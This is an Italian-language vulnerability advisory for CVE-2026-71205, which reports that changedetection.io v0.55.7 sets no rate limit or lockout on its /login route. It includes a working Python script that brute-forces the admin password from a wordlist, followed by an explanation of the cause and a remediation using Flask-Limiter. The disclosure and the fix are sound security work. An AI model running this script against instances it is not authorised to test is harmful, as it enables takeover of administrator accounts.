
PoC: brute-force illimitato sul login di changedetection.io, nessun rate limiting (CVE-2026-71205, Medio 6.5)
Prodotto: dgtlmoon/changedetection.io — v0.55.7
File: changedetectionio/flask_app.py
CWE: CWE-307 — Restrizione impropria dei tentativi di autenticazione eccessivi
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (Medio)
CNA: Turan Security · record CVE
La rotta /login di changedetection.io confronta la password inviata con un singolo hash PBKDF2-HMAC-SHA256, senza limiti di frequenza per IP o per sessione, contatore dei tentativi falliti o blocco. Nessuna libreria di rate limiting è presente in requirements.txt.
Un attaccante può tentare un numero illimitato di password contro il login dell'unico amministratore senza alcuna limitazione, consentendo attacchi di brute-force online o credential stuffing contro l'unico account dell'istanza, senza alcun costo oltre ai round-trip di rete.
import requests
import itertools
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"
session = requests.Session()
with open(wordlist) as f:
for line_no, password in enumerate(f, 1):
password = password.strip()
resp = session.post(
f"{target}/login",
data={"password": password},
allow_redirects=False,
timeout=10,
)
# No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
if status == "SUCCESS":
print(f"[+] Valid password found: {password}")
break
Eseguire contro un'istanza con qualsiasi wordlist di password: nessun numero di tentativi attiva un blocco, un CAPTCHA o un ritardo crescente in nessun punto dell'esecuzione.
Il gestore del login esegue un confronto diretto dell'hash senza alcuno stato di tracciamento dei tentativi (per IP, per sessione o globale) e non è installato alcun middleware o libreria di rate limiting.
Aggiungere una libreria di rate limiting (es. Flask-Limiter) a /login, con un contatore dei tentativi falliti e backoff esponenziale o blocco temporaneo per IP/sessione di origine.